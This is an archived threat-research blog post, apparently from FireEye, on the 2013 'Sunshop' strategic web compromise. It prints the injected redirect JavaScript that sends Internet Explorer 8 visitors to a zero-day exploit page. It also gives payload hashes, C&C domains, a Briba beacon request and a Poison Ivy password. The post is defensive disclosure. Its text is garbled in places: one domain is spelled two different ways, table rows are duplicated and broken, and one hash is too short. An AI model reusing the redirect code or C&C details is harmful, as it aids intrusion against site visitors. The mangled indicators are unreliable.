

## Ready for Summer: The Sunshop Campaign

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[FireEye](#) recently identified another targeted attack campaign that leveraged both the recently announced Internet Explorer zero-day, [CVE-2013-1347](#), as well as recently patched Java exploits [CVE-2013-2423](#) and [CVE-2013-1493](#). This campaign appears to have affected a number of victims based on the use of the Internet Explorer zero-day as well as the amount of traffic observed at making requests to the exploit server. This attack was likely executed by an actor we have named the 'Sunshop Group'. This actor was also responsible for the 2010 compromise of the Nobel Peace Prize website that leverage a zero-day in Mozilla Firefox.

### Impacted Sites

The campaign in question compromised a number of strategic websites including:

- Multiple Korean military and strategy think tanks
- A Uyghur news and discussion forum
- A science and technology policy journal
- A website for evangelical students

A call to a malicious javascript file hosted at `www[.]sunshop[.]com[.]tw` was inserted into all of these compromised websites.

### The Exploit Server

If a visitor to one of these compromised website was running Internet Explorer 8.0 the malicious javascript would redirect them to a page at `www[.]sunshop[.]com[.]tw` hosting a CVE-2013-1347 exploit. Any other victims were redirected to a page that downloaded two malicious jars.

```
if(browser=="Microsoft Internet Explorer" && trim_Version=="MSIE8.0" &&
window.navigator.userAgent.indexOf("en")>-1)
```

```
{
```

```
if(sys_Version=="WindowsNT5.1")
```

```
{
```

```
showexp("hxxp://www[.]sunshop[.]com[.]tw/xxxxxx/xxxxximg.html");
```

```
}
```

```
else
```

```
showexp("hxxp://www[.]sunshop[.]com[.]tw/xxxxxx/xxxxxximg.html");//J
```

```
}
```

```
else
```

```
showexp("hxxp://www[.]sunshop[.]com[.]tw/xxxxxx/xxxxxximg.html");//J
```

### Dropped Payloads and C&C Infrastructure

The Internet Explorer (CVE-2013-1347) exploit code pulled down a "9002" RAT from another compromised site at `hk[.]sz181[.]com`. This payload had an MD5 of [b0ef2ab86f160aa416184c09df8388fe](#) and connected to a command and control server at `dns[.]homesvr[.]tk`.

The java exploits were packaged as two different jar files. One jar file had a MD5 of `f4bee1e845137531f18c226d118e06d7` and exploited CVE-2013-2423. The second jar file had a MD5 of [3fbb7321d8610c6e2d990bb25ce34bec](#) and exploited CVE-2013-1493.

The jar that exploited CVE-2013-2423 dropped a 9002 RAT with a MD5 of d99ed31af1e0ad6fb5bf0f116063e91f. This RAT connected to a command and control server at asp[.]homesvr[.]linkpc[.]net. The jar that exploited CVE-2013-1493 dropped a 9002 RAT with a MD5 of 42bd5e7e8f74c15873ff0f4a9ce974cd. This RAT connected to a command and control server at ssl[.]homesvr[.]tk.

All of the above 9002 command and control domains resolved to 58.64.205.53. We previously discussed the extensive use of this RAT in other advanced persistent threat (APT) campaigns [here](#).

### Related Infrastructure

After further research into 58.64.205.53 with our friends at Mandiant we uncovered a Briba sample with the MD5 6fe0f6e68cd9cc6ed7e100e7b3626665 that connected to this IP address. As seen in this malwr report, the command and control domain of nameserver1[.]zaproto[.]jorg resolved to the same 58.64.205.53 IP address on 2013-05-07. This Briba sample generated the following network traffic to nameserver1[.]zaproto[.]jorg over port 443:

POST /index000001021.asp HTTP/1.1

Accept-Language: en-us

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;)

Host: update.microsoft.com

Connection: Keep-Alive

Content-Type: text/html

Content-Length: 000041

For a detailed analysis of Briba please see Seth Hardy's paper '[Explore RAT](#)'.

The exploit site at sunshop[.]com[.]tw previously hosted a different malicious jar file on April 2, 2013. This jar file had a MD5 of 51aff823274e9d12b1a9a4bbaf8ce00. It exploited CVE-2013-1493 and dropped a Poison Ivy RAT with the MD5 [2B6605B89EAD179710565D1C2B614665](#). This Poison Ivy RAT connected to a command and control server at 9ijhh45[.]zaproto[.]jorg over port 443 using a password of 'ult4life'. This domain resolved to the same 58.64.205.53 IP between April 2nd and 8th.

### Attribution

The Sunshop Group has utilized the same tactics described above in previous targeted attack campaigns. These similar tactics include the use of zero-day exploits, strategic web compromise as well as Briba malware.

One of the more prominent attacks launched by this group was the compromise of the Nobel Peace Prize Committee's website in 2010. This attack leveraged a zero-day exploit targeting a previously unknown vulnerability in Mozilla Firefox.

Another publicly documented attack exploited a Flash zero-day and can be found [here](#). Mila at the Contagio Blog posted additional information on this attack [here](#). This attack dropped the same Briba payload discussed above.

FireEye detects the Briba backdoor as Backdoor.APT.IndexASP and the 9002 payloads as Trojan.APT.9002.

### Malware

| CVE           | Exploit hash                     | Payload hash                     | Malware family | C&C Host                     |
|---------------|----------------------------------|----------------------------------|----------------|------------------------------|
| CVE-2013-1347 | fb24c49299b197e1b56a1a51430aea26 | b0ef2ab86f160aa416184c09df8388fe | 9002           | dns[.]homesvr[.]tk           |
| CVE-2013-1347 | fb24c49299b197e1b56a1a51430aea26 | b0ef2ab86f160aa416184c09df8388fe | 9002           | dns[.]homesvr[.]tk           |
| CVE-2013-2423 | f4bee1e845137531f18c226d118e06d7 | d99ed31af1e0ad6fb5bf0f116063e91f | 9002           | asp[.]homesvr[.]linkpc[.]net |
| CVE-          | f4bee1e845137531f18c226d118e06d7 | d99ed31af1e0ad6fb5bf0f116063e91f | 9002           | asp[.]homesvr[.]linkpc[.]net |

|                                |  |  |                                |  |
|--------------------------------|--|--|--------------------------------|--|
| 2013-2423                      |  |  |                                |  |
| CVE-2013-1493<br>CVE-2013-1493 | 3fbb7321d8610c6e2d990bb25ce34bec<br>3fbb7321d8610c6e2d990bb25ce34bec | 42bd5e7e8f74c15873ff0f4a9ce974cd<br>42bd5e7e8f74c15873ff0f4a9ce974cd | 9002<br>9002                   | ssl[.]homesvr[.]tk<br>ssl[.]homesvr[.]tk               |
| Unknown<br>Unknown             | Unknown Unknown  | 6fe0f6e68cd9cc6ed7e100e7b3626665<br>6fe0f6e68cd9cc6ed7e100e7b3626665 | Briba<br>Briba                 | nameserver1[.]zapto[.]org<br>nameserver1[.]zapto[.]org |
| CVE-2013-1493<br>CVE-2013-1493 | 51aff823274e9d12b1a9a4bbaf8ce00<br>51aff823274e9d12b1a9a4bbaf8ce00   | 2B6605B89EAD179710565D1C2B614665<br>2B6605B89EAD179710565D1C2B614665 | Poison<br>Ivy<br>Poison<br>Ivy | 9ijhh45[.]zapto[.]org<br>9ijhh45[.]zapto[.]org         |

Source: <https://web.archive.org/web/20200302085651/https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.htm>